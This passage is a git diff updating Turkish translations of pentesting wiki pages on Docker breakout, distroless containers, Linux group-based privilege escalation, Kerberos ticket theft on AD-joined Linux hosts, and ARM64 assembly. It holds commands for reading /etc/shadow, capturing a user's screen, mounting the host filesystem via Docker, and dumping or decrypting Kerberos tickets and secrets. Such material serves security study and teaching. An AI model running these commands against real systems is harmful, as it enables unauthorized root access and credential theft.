tekniklerini](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape) kontrol edin. -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [yetki istismarını yükseltmek için](../linux-capabilities.md), **bu yetkiyi konteynere verin** ve istismarın çalışmasını engelleyebilecek diğer koruma yöntemlerini devre dışı bırakın. +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [yetki istismarını yükseltmek için](../linux-capabilities.md), **o yetkiyi konteynere verin** ve istismarın çalışmasını engelleyebilecek diğer koruma yöntemlerini devre dışı bırakın. ### Curl -Bu sayfada docker bayraklarını kullanarak yetki yükseltme yollarını tartıştık, **curl** komutunu kullanarak bu yöntemleri istismar etmenin **yollarını** bulabilirsiniz: +Bu sayfada docker bayraklarını kullanarak yetki yükseltme yollarını tartıştık, **curl** komutunu kullanarak bu yöntemleri istismar etmenin **yollarını** sayfada bulabilirsiniz: {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index ebdc92794..200dd57dd 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## What is Distroless +## Distroless Nedir -Distroless bir konteyner, **belirli bir uygulamayı çalıştırmak için yalnızca gerekli bağımlılıkları içeren** bir konteyner türüdür; gereksiz yazılım veya araçlar içermez. Bu konteynerler, **hafif** ve **güvenli** olmaları için tasarlanmıştır ve gereksiz bileşenleri kaldırarak **saldırı yüzeyini minimize etmeyi** hedefler. +Distroless bir konteyner, **belirli bir uygulamayı çalıştırmak için gerekli olan bağımlılıkları** içeren bir konteyner türüdür; gereksiz yazılım veya araçlar içermez. Bu konteynerler, **hafif** ve **güvenli** olmaları için tasarlanmıştır ve gereksiz bileşenleri kaldırarak **saldırı yüzeyini minimize etmeyi** hedefler. Distroless konteynerler genellikle **güvenlik ve güvenilirliğin ön planda olduğu üretim ortamlarında** kullanılır. @@ -13,18 +13,18 @@ Distroless konteynerler genellikle **güvenlik ve güvenilirliğin ön planda ol - **Google** tarafından sağlanan: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) - **Chainguard** tarafından sağlanan: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) -## Weaponizing Distroless +## Distroless'ı Silahlandırma -Distroless bir konteyneri silahlandırmanın amacı, **sistem üzerindeki yaygın ikili dosyaların eksikliği** ve ayrıca konteynerlerde sıkça bulunan **salt okunur** veya **çalıştırılamaz** gibi korumalarla birlikte **rastgele ikili dosyaları ve yükleri çalıştırabilmektir**. +Distroless bir konteyneri silahlandırmanın amacı, **distroless'in getirdiği sınırlamalara** (sistemde yaygın ikili dosyaların eksikliği) rağmen **rastgele ikili dosyaları ve yükleri çalıştırabilmektir**; ayrıca konteynerlerde yaygın olarak bulunan **salt okunur** veya **çalıştırılamaz** gibi korumaları da aşmaktır. -### Through memory +### Bellek Üzerinden -2023'ün bir noktasında geliyor... +2023'ün bir noktasında gelecek... -### Via Existing binaries +### Mevcut ikili dosyalar aracılığıyla #### openssl -\***\*[**Bu yazıda,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) **`openssl`** ikili dosyasının bu konteynerlerde sıkça bulunduğu, muhtemelen konteyner içinde çalışacak yazılım tarafından **gerekli olduğu** açıklanmaktadır. +\***\*[**Bu yazıda,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) **`openssl`** ikilisinin bu konteynerlerde sıkça bulunduğu, muhtemelen konteyner içinde çalışacak yazılım tarafından **gerekli** olduğu açıklanmaktadır. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 6a9776279..208d9c8d0 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -26,7 +26,7 @@ Tüm suid ikili dosyalarını bulun ve **Pkexec** ikili dosyasının olup olmad ```bash find / -perm -4000 2>/dev/null ``` -Eğer **pkexec** ikilisinin **SUID ikilisi** olduğunu ve **sudo** veya **admin** grubuna ait olduğunuzu bulursanız, muhtemelen `pkexec` kullanarak ikilileri sudo olarak çalıştırabilirsiniz.\ +Eğer **pkexec'in bir SUID ikili dosyası** olduğunu ve **sudo** veya **admin** grubuna ait olduğunuzu bulursanız, muhtemelen `pkexec` kullanarak ikili dosyaları sudo olarak çalıştırabilirsiniz.\ Bu, genellikle bu grupların **polkit politikası** içinde yer alması nedeniyledir. Bu politika, temelde hangi grupların `pkexec` kullanabileceğini belirler. Bunu kontrol etmek için: ```bash cat /etc/polkit-1/localauthority.conf.d/* @@ -66,19 +66,19 @@ Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz** ``` sudo su ``` -## Shadow Grubu +## Shadow Group **shadow** grubundaki kullanıcılar **/etc/shadow** dosyasını **okuyabilir**: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -So, read the file and try to **crack some hashes**. +So, dosyayı okuyun ve bazı **hash'leri kırmaya** çalışın. ## Personel Grubu -**staff**: Kullanıcıların root ayrıcalıklarına ihtiyaç duymadan sisteme yerel değişiklikler eklemelerine olanak tanır (`/usr/local`) (not: `/usr/local/bin` içindeki çalıştırılabilir dosyalar, herhangi bir kullanıcının PATH değişkenindedir ve aynı isimdeki `/bin` ve `/usr/bin` içindeki çalıştırılabilir dosyaların "üstüne yazabilir"). "adm" grubu ile karşılaştırın, bu grup daha çok izleme/güvenlik ile ilgilidir. [\[source\]](https://wiki.debian.org/SystemGroups) +**staff**: Kullanıcıların kök ayrıcalıkları olmadan sisteme yerel değişiklikler eklemelerine izin verir (`/usr/local`) (not: `/usr/local/bin` içindeki çalıştırılabilir dosyalar, herhangi bir kullanıcının PATH değişkenindedir ve aynı isimdeki `/bin` ve `/usr/bin` içindeki çalıştırılabilir dosyaların "üstüne yazabilir"). "adm" grubu ile karşılaştırın, bu grup daha çok izleme/güvenlik ile ilgilidir. [\[source\]](https://wiki.debian.org/SystemGroups) -Debian dağıtımlarında, `$PATH` değişkeni `/usr/local/`'un en yüksek öncelikle çalıştırılacağını gösterir, ayrıcalıklı bir kullanıcı olup olmadığınız önemli değildir. +Debian dağıtımlarında, `$PATH` değişkeni `/usr/local/`'un en yüksek öncelikle çalıştırılacağını gösterir, ayrıcalıklı bir kullanıcı olup olmadığınıza bakılmaksızın. ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -130,7 +130,7 @@ $ /bin/bash -p ``` ## Disk Group -Bu ayrıcalık neredeyse **root erişimi ile eşdeğerdir** çünkü makinenin içindeki tüm verilere erişebilirsiniz. +Bu ayrıcalık neredeyse **root erişimine eşdeğerdir** çünkü makinenin içindeki tüm verilere erişebilirsiniz. Dosyalar:`/dev/sd[a-z][1-9]` ```bash @@ -156,9 +156,9 @@ USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` -**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** gösterir. +**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** ifade eder. -**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın üzerindeki **mevcut görüntüyü ham veri olarak yakalamanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz. +**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **mevcut görüntüsünü ham veri olarak yakalamanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size @@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null ``` ## Docker Grubu -**Ana makinenin kök dosya sistemini bir örneğin hacmine bağlayabilirsiniz**, böylece örnek başladığında hemen o hacme `chroot` yükler. Bu, makinede size kök erişimi sağlar. +Ana makinenin kök dosya sistemini bir örneğin hacmine **monte edebilirsiniz**, böylece örnek başladığında hemen o hacme `chroot` yükler. Bu, makinede size kök erişimi sağlar. ```bash docker image #Get images from the docker service @@ -199,7 +199,7 @@ Son olarak, eğer daha önceki önerilerden hiçbiri hoşunuza gitmiyorsa veya b ../docker-security/ {{#endref}} -Eğer docker soketi üzerinde yazma izinleriniz varsa [**docker soketini kötüye kullanarak nasıl yetki yükselteceğinizi anlatan bu yazıyı**](../index.html#writable-docker-socket)** okuyun.** +Eğer docker soketi üzerinde yazma izinleriniz varsa [**docker soketini kötüye kullanarak yetki yükseltme hakkında bu yazıyı**](../index.html#writable-docker-socket)** okuyun.** {{#ref}} https://github.com/KrustyHack/docker-privilege-escalation diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 4a68f454f..ac80b8eb5 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -4,7 +4,7 @@ Bir linux makinesi, bir Active Directory ortamında da bulunabilir. -Bir AD'deki linux makinesi **farklı CCACHE biletlerini dosyalar içinde saklıyor olabilir. Bu biletler, diğer kerberos biletleri gibi kullanılabilir ve kötüye kullanılabilir**. Bu biletleri okumak için biletin kullanıcı sahibi olmanız veya makine içinde **root** olmanız gerekir. +Bir AD'deki linux makinesi **farklı CCACHE biletlerini dosyalar içinde saklıyor olabilir. Bu biletler, diğer kerberos biletleri gibi kullanılabilir ve kötüye kullanılabilir**. Bu biletleri okumak için, biletin kullanıcı sahibi olmanız veya makine içinde **root** olmanız gerekir. ## Enumeration @@ -12,7 +12,7 @@ Bir AD'deki linux makinesi **farklı CCACHE biletlerini dosyalar içinde saklıy Linux'ta (veya Windows'ta bash'te) bir AD'ye erişiminiz varsa, AD'yi listelemek için [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) deneyebilirsiniz. -Linux'tan AD'yi listelemenin **diğer yollarını öğrenmek için** aşağıdaki sayfayı da kontrol edebilirsiniz: +Ayrıca **linux'tan AD'yi listelemenin diğer yollarını** öğrenmek için aşağıdaki sayfayı kontrol edebilirsiniz: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -20,7 +20,7 @@ Linux'tan AD'yi listelemenin **diğer yollarını öğrenmek için** aşağıdak ### FreeIPA -FreeIPA, esasen **Unix** ortamları için Microsoft Windows **Active Directory**'ye açık kaynaklı bir **alternatif**dir. Active Directory'ye benzer yönetim için tam bir **LDAP dizini** ile bir MIT **Kerberos** Anahtar Dağıtım Merkezi'ni birleştirir. CA ve RA sertifika yönetimi için Dogtag **Sertifika Sistemi**'ni kullanarak, akıllı kartlar da dahil olmak üzere **çok faktörlü** kimlik doğrulamayı destekler. Unix kimlik doğrulama süreçleri için SSSD entegre edilmiştir. Daha fazla bilgi için: +FreeIPA, Microsoft Windows **Active Directory** için açık kaynaklı bir **alternatif** olup, esasen **Unix** ortamları için tasarlanmıştır. Active Directory'ye benzer yönetim için tam bir **LDAP dizini** ile bir MIT **Kerberos** Anahtar Dağıtım Merkezi'ni birleştirir. CA ve RA sertifika yönetimi için Dogtag **Sertifika Sistemi** kullanarak, akıllı kartlar da dahil olmak üzere **çok faktörlü** kimlik doğrulamayı destekler. Unix kimlik doğrulama süreçleri için SSSD entegre edilmiştir. Daha fazla bilgi için: {{#ref}} ../freeipa-pentesting.md @@ -38,7 +38,7 @@ Bu sayfada, **bir linux ana bilgisayarında kerberos biletlerini bulabileceğini ### /tmp'den CCACHE bilet yeniden kullanımı -CCACHE dosyaları, **Kerberos kimlik bilgilerini** saklamak için kullanılan ikili formatlardır ve genellikle `/tmp` içinde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **isim formatlarıyla `krb5cc_%{uid}`** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **çevre değişkeni `KRB5CCNAME`** istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar. +CCACHE dosyaları, **Kerberos kimlik bilgilerini saklamak için** kullanılan ikili formatlardır ve genellikle `/tmp` içinde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'si ile ilişkili olan **isim formatları, `krb5cc_%{uid}`,** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **çevre değişkeni `KRB5CCNAME`** istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar. Kimlik doğrulama için kullanılan mevcut bileti `env | grep KRB5CCNAME` ile listeleyin. Format taşınabilir ve bilet, **çevre değişkenini ayarlayarak** yeniden kullanılabilir: `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos bilet adı formatı `krb5cc_%{uid}` şeklindedir; burada uid, kullanıcının UID'sidir. ```bash @@ -51,7 +51,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000 ``` ### CCACHE bilet yeniden kullanımı anahtar halkasından -**Bir işlemin belleğinde saklanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek ve biletleri `/tmp` dizinine dökerek çıkarımı kolaylaştırır. +**Bir işlemin belleğinde saklanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek biletleri `/tmp` dizinine dökme işlemini kolaylaştırır. Bu aracı yapılandırmak ve kullanmak için aşağıdaki adımlar izlenir: ```bash @@ -60,30 +60,30 @@ cd tickey/tickey make CONF=Release /tmp/tickey -i ``` -Bu prosedür, çeşitli oturumlara enjekte etmeyi deneyecek ve başarıyı, çıkarılan biletleri `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla saklayarak gösterecektir. +Bu prosedür, çeşitli oturumlara enjekte etmeyi deneyecek ve başarıyı `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla çıkarılan biletleri depolayarak gösterecektir. ### SSSD KCM'den CCACHE bilet yeniden kullanımı SSSD, veritabanının bir kopyasını `/var/lib/sss/secrets/secrets.ldb` yolunda tutar. İlgili anahtar, `/var/lib/sss/secrets/.secrets.mkey` yolunda gizli bir dosya olarak saklanır. Varsayılan olarak, anahtar yalnızca **root** izinleriniz varsa okunabilir. -\*\*`SSSDKCMExtractor` \*\*'ı --database ve --key parametreleriyle çağırmak, veritabanını ayrıştıracak ve **gizli bilgileri şifre çözecektir**. +**`SSSDKCMExtractor`**'ı --database ve --key parametreleriyle çağırmak, veritabanını ayrıştıracak ve **gizli bilgileri şifre çözecektir**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` **Kimlik bilgisi önbellek Kerberos blob'u, Mimikatz/Rubeus'a geçirilebilecek kullanılabilir bir Kerberos CCache** dosyasına dönüştürülebilir. -### Keytab'tan CCACHE bilet yeniden kullanımı +### CCACHE biletinin keytab'dan yeniden kullanımı ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` -### /etc/krb5.keytab dosyasından hesapları çıkarın +### /etc/krb5.keytab dosyasından hesapları çıkar -Kök ayrıcalıklarıyla çalışan hizmetler için gerekli olan hizmet hesap anahtarları, **`/etc/krb5.keytab`** dosyalarında güvenli bir şekilde saklanır. Bu anahtarlar, hizmetler için şifreler gibi, sıkı bir gizlilik gerektirir. +Kök ayrıcalıklarıyla çalışan hizmetler için gerekli olan hizmet hesabı anahtarları, **`/etc/krb5.keytab`** dosyalarında güvenli bir şekilde saklanır. Bu anahtarlar, hizmetler için şifreler gibi, sıkı bir gizlilik gerektirir. -Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar türü 23 olarak tanımlandığında, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar ayrıntılarını görüntülemek üzere tasarlanmıştır. +Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar türü 23 olarak belirlendiğinde, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar detaylarını görüntülemek üzere tasarlanmıştır. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 97ca4c68b..95da5cdd6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -4,44 +4,44 @@ ## **İstisna Seviyeleri - EL (ARM64v8)** -ARMv8 mimarisinde, İstisna Seviyeleri (EL'ler) olarak bilinen yürütme seviyeleri, yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi vardır ve her biri farklı bir amaca hizmet eder: +ARMv8 mimarisinde, İstisna Seviyeleri (EL), yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi vardır ve her biri farklı bir amaca hizmet eder: 1. **EL0 - Kullanıcı Modu**: - Bu, en az ayrıcalıklı seviyedir ve normal uygulama kodunu yürütmek için kullanılır. -- EL0'da çalışan uygulamalar birbirlerinden ve sistem yazılımından izole edilmiştir, bu da güvenlik ve kararlılığı artırır. +- EL0'da çalışan uygulamalar birbirlerinden ve sistem yazılımından izole edilmiştir, bu da güvenliği ve kararlılığı artırır. 2. **EL1 - İşletim Sistemi Çekirdek Modu**: - Çoğu işletim sistemi çekirdeği bu seviyede çalışır. - EL1, EL0'dan daha fazla ayrıcalığa sahiptir ve sistem kaynaklarına erişebilir, ancak sistem bütünlüğünü sağlamak için bazı kısıtlamalar vardır. 3. **EL2 - Hypervisor Modu**: - Bu seviye sanallaştırma için kullanılır. EL2'de çalışan bir hypervisor, aynı fiziksel donanım üzerinde birden fazla işletim sistemini (her biri kendi EL1'inde) yönetebilir. -- EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sağlar. +- EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sunar. 4. **EL3 - Güvenli İzleyici Modu**: - Bu, en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır. -- EL3, güvenli ve güvenli olmayan durumlar arasındaki erişimleri yönetebilir ve kontrol edebilir (örneğin güvenli önyükleme, güvenilir OS vb.). +- EL3, güvenli ve güvensiz durumlar (güvenli önyükleme, güvenilir OS vb.) arasındaki erişimleri yönetebilir ve kontrol edebilir. Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemin farklı yönlerini yönetmek için yapılandırılmış ve güvenli bir yol sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olur ve böylece sistemin güvenliğini ve dayanıklılığını artırır. ## **Kayıtlar (ARM64v8)** -ARM64, `x0` ile `x30` arasında etiketlenmiş **31 genel amaçlı kayıt** içerir. Her biri **64-bit** (8-byte) bir değeri saklayabilir. Sadece 32-bit değerler gerektiren işlemler için, aynı kayıtlara 32-bit modda `w0` ile `w30` isimleri kullanılarak erişilebilir. +ARM64, `x0` ile `x30` arasında etiketlenmiş **31 genel amaçlı kayıt** içerir. Her biri **64-bit** (8-byte) değer saklayabilir. Sadece 32-bit değer gerektiren işlemler için, aynı kayıtlara 32-bit modda `w0` ile `w30` isimleriyle erişilebilir. 1. **`x0`** ile **`x7`** - Genellikle geçici kayıtlar olarak ve alt programlara parametre geçişi için kullanılır. -- **`x0`** ayrıca bir fonksiyonun dönüş verisini taşır. -2. **`x8`** - Linux çekirdeğinde, `x8` `svc` talimatı için sistem çağrı numarası olarak kullanılır. **macOS'ta x16 kullanılır!** +- **`x0`**, bir fonksiyonun dönüş verisini taşır. +2. **`x8`** - Linux çekirdeğinde, `x8`, `svc` talimatı için sistem çağrı numarası olarak kullanılır. **macOS'ta x16 kullanılır!** 3. **`x9`** ile **`x15`** - Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır. 4. **`x16`** ve **`x17`** - **İç Prosedürel Çağrı Kayıtları**. Anlık değerler için geçici kayıtlardır. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Prosedür Bağlantı Tablosu) stub'ları için de kullanılır. - **`x16`**, **macOS**'ta **`svc`** talimatı için **sistem çağrı numarası** olarak kullanılır. 5. **`x18`** - **Platform kaydı**. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya Linux çekirdeğinde mevcut **yürütme görev yapısına** işaretçi. -6. **`x19`** ile **`x28`** - Bunlar çağrılan fonksiyon tarafından saklanan kayıtlardır. Bir fonksiyon, bu kayıtların değerlerini çağıran için korumalı tutmalıdır, bu nedenle yığın içinde saklanır ve çağırana geri dönmeden önce geri alınır. +6. **`x19`** ile **`x28`** - Bunlar çağrılan fonksiyon tarafından saklanan kayıtlardır. Bir fonksiyon, bu kayıtların değerlerini çağıran için korumalıdır, bu nedenle yığın içinde saklanır ve çağırana geri dönmeden önce geri alınır. 7. **`x29`** - Yığın çerçevesini takip etmek için **Çerçeve işaretçisi**. Bir fonksiyon çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** kaydı **yığında saklanır** ve **yeni** çerçeve işaretçisi adresi (**`sp`** adresi) **bu kayıtta saklanır**. - Bu kayıt ayrıca **genel amaçlı bir kayıt** olarak da kullanılabilir, ancak genellikle **yerel değişkenlere** referans olarak kullanılır. 8. **`x30`** veya **`lr`** - **Bağlantı kaydı**. `BL` (Bağlantılı Dal) veya `BLR` (Bağlantılı Dal Kayıtına) talimatı yürütüldüğünde **dönüş adresini** tutar ve **`pc`** değerini bu kayıtta saklar. - Ayrıca diğer kayıtlar gibi kullanılabilir. -- Mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve dolayısıyla `lr`'yi geçersiz kılacaksa, başlangıçta yığında saklayacaktır, bu epilogdur (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda geri alır, bu prologdur (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dön). +- Mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve bu nedenle `lr`'yi geçersiz kılacaksa, başlangıçta yığında saklayacaktır, bu epilogdur (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda geri alır, bu prologdur (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dön). 9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır. -- **`sp`** değeri her zaman en az bir **quadword** **hizalaması** ile korunmalıdır, aksi takdirde hizalama hatası meydana gelebilir. +- **`sp`** değeri her zaman en az bir **quadword** **hizalamasında** tutulmalıdır, aksi takdirde hizalama hatası meydana gelebilir. 10. **`pc`** - **Program sayacı**, bir sonraki talimata işaret eder. Bu kayıt yalnızca istisna üretimleri, istisna dönüşleri ve dallar aracılığıyla güncellenebilir. Bu kaydı okuyabilen tek sıradan talimatlar, **`pc`** adresini **`lr`** (Bağlantı Kaydı) içinde saklamak için bağlantılı dal talimatlarıdır (BL, BLR). -11. **`xzr`** - **Sıfır kaydı**. 32-bit kayıt formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonuç verisini hiçbir yere saklamadan ( **`xzr`** içinde). +11. **`xzr`** - **Sıfır kaydı**. 32-bit kayıt formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonuç verisini hiçbir yere saklamaz ( **`xzr`** içinde). **`Wn`** kayıtları, **`Xn`** kaydının **32bit** versiyonudur. @@ -55,7 +55,7 @@ Ayrıca, optimize edilmiş tek talimat çoklu veri (SIMD) işlemlerinde ve kayan Sadece özel talimatlar olan **`mrs`** ve **`msr`** kullanılarak okunabilir veya ayarlanabilirler. Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** tersine mühendislik yaparken sıkça bulunur. `EL0` eki, kaydın erişilebileceği **minimum istisnayı** gösterir (bu durumda EL0, normal programların çalıştığı düzenli istisna (ayrıcalık) seviyesidir).\ -Genellikle **iş parçacığına özgü depolama** bellek bölgesinin **temel adresini** saklamak için kullanılır. Genellikle ilki EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den (çekirdek gibi) yazılabilir. +Genellikle, **iş parçacığına özgü depolama** bellek bölgesinin **temel adresini** saklamak için kullanılır. Genellikle ilki EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den (çekirdek gibi) yazılabilir. - `mrs x0, TPIDR_EL0 ; TPIDR_EL0'ı x0'a oku` - `msr TPIDR_EL0, X0 ; x0'ı TPIDR_EL0'a yaz` @@ -75,28 +75,28 @@ Erişilebilir alanlar şunlardır: - İki pozitif sayının toplamı negatif bir sonuç verir. - İki negatif sayının toplamı pozitif bir sonuç verir. - Çıkarma işlemi sırasında, daha küçük bir pozitif sayıdan büyük bir negatif sayı çıkarıldığında (veya tersine), ve sonuç verilen bit boyutunun aralığında temsil edilemezse. -- Açıkça, işlemci işlemin imzalı olup olmadığını bilmez, bu nedenle C ve V'yi işlemlerde kontrol eder ve taşmanın imzalı veya imzasız olup olmadığını belirtir. +- Açıkça, işlemcinin işlemin imzalı olup olmadığını bilmediği için, C ve V'yi işlemlerde kontrol eder ve taşmanın imzalı veya imzasız olup olmadığını belirtir. > [!WARNING] -> Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları günceller ve **`ADDS`** gibi s eki olan diğerleri de günceller. +> Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları günceller ve **`ADDS`** gibi s son eki olan diğerleri de günceller. - Mevcut **kayıt genişliği (`nRW`) bayrağı**: Eğer bayrak 0 değerini tutuyorsa, program yeniden başlatıldığında AArch64 yürütme durumunda çalışacaktır. - Mevcut **İstisna Seviyesi** (**`EL`**): EL0'da çalışan bir normal program 0 değerine sahip olacaktır. - **Tek adım** bayrağı (**`SS`**): Hata ayıklayıcılar tarafından, bir istisna aracılığıyla **`SPSR_ELx`** içinde SS bayrağını 1 olarak ayarlayarak tek adım atmak için kullanılır. Program bir adım atacak ve tek adım istisnası verecektir. -- **Geçersiz istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılım geçersiz bir istisna seviyesi aktarımı gerçekleştirdiğinde işaretlemek için kullanılır, bu bayrak 1 olarak ayarlanır ve işlemci geçersiz durum istisnası tetikler. +- **Geçersiz istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılımın geçersiz bir istisna seviyesi aktarımı gerçekleştirdiğini işaretlemek için kullanılır, bu bayrak 1'e ayarlanır ve işlemci geçersiz durum istisnası tetikler. - **`DAIF`** bayrakları: Bu bayraklar, ayrıcalıklı bir programın belirli dış istisnaları seçici olarak maskelemesine olanak tanır. - Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, dış donanım **Kesme İsteklerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme İstekleri** (FIR'lar) ile ilgilidir. -- **Yığın işaretçisi seçme** bayrakları (**`SPS`**): EL1 ve üzerindeki ayrıcalıklı programlar, kendi yığın işaretçisi kaydı ile kullanıcı modeli arasında geçiş yapabilirler (örneğin `SP_EL1` ile `EL0` arasında). Bu geçiş, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu, EL0'dan yapılamaz. +- **Yığın 